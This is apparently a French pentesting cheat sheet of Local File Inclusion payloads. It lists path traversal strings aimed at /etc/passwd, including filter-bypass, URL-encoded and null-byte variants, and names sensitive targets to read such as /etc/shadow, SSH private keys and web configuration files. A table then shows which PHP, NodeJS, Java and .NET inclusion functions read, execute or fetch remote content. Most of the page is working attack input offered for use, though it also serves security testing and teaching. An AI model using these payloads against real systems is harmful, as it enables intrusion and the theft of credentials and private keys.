LFI Payloads
Payloads et techniques pour exploiter une vulnérabilité de Local File Inclusion : path traversal classique, wrappers PHP (php://filter, php://input, data://, phar://), log poisoning, contournement de filtres et nullbyte. Pour le contexte théorique, voir LFI - Local File Inclusion.
Techniques de base:¶
=/etc/passwd
=../../../../../../etc/passwd
=....//....//....//....//....//....//....//etc/passwd
=....////....////....////....////....////etc/passwd
=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd (url encode)
=/gallery/../../../../../../../etc/passwd (en cas d'obligation de la présence d'un chemin approuvé dans l'url)
=../../../../etc/passwd%00 (null byte)
PHP filters:¶
Fichiers intéressants à lire :
/etc/passwd
/proc/$PID/cmdline (générer une wordlist avec des chiffres de 1 à 1000)
/etc/shadow
/home/$user/.ssh/id_rsa
/var/www/html/fichierdeconfig.php
/var/www/html/LesDifférentesPages // permet de voir le code source éventuellement)
| Function | Read Content | Execute | Remote URL |
|---|---|---|---|
| PHP | |||
include()/include_once() |
✅ | ✅ | ✅ |
require()/require_once() |
✅ | ✅ | ❌ |
file_get_contents() |
✅ | ❌ | ✅ |
fopen()/file() |
✅ | ❌ | ❌ |
| NodeJS | |||
fs.readFile() |
✅ | ❌ | ❌ |
fs.sendFile() |
✅ | ❌ | ❌ |
res.render() |
✅ | ✅ | ❌ |
| Java | |||
include |
✅ | ❌ | ❌ |
import |
✅ | ✅ | ✅ |
| .NET | |||
@Html.Partial() |
✅ | ❌ | ❌ |
@Html.RemotePartial() |
✅ | ❌ | ✅ |
Response.WriteFile() |
✅ | ❌ | ❌ |
include |
✅ | ✅ | ✅ |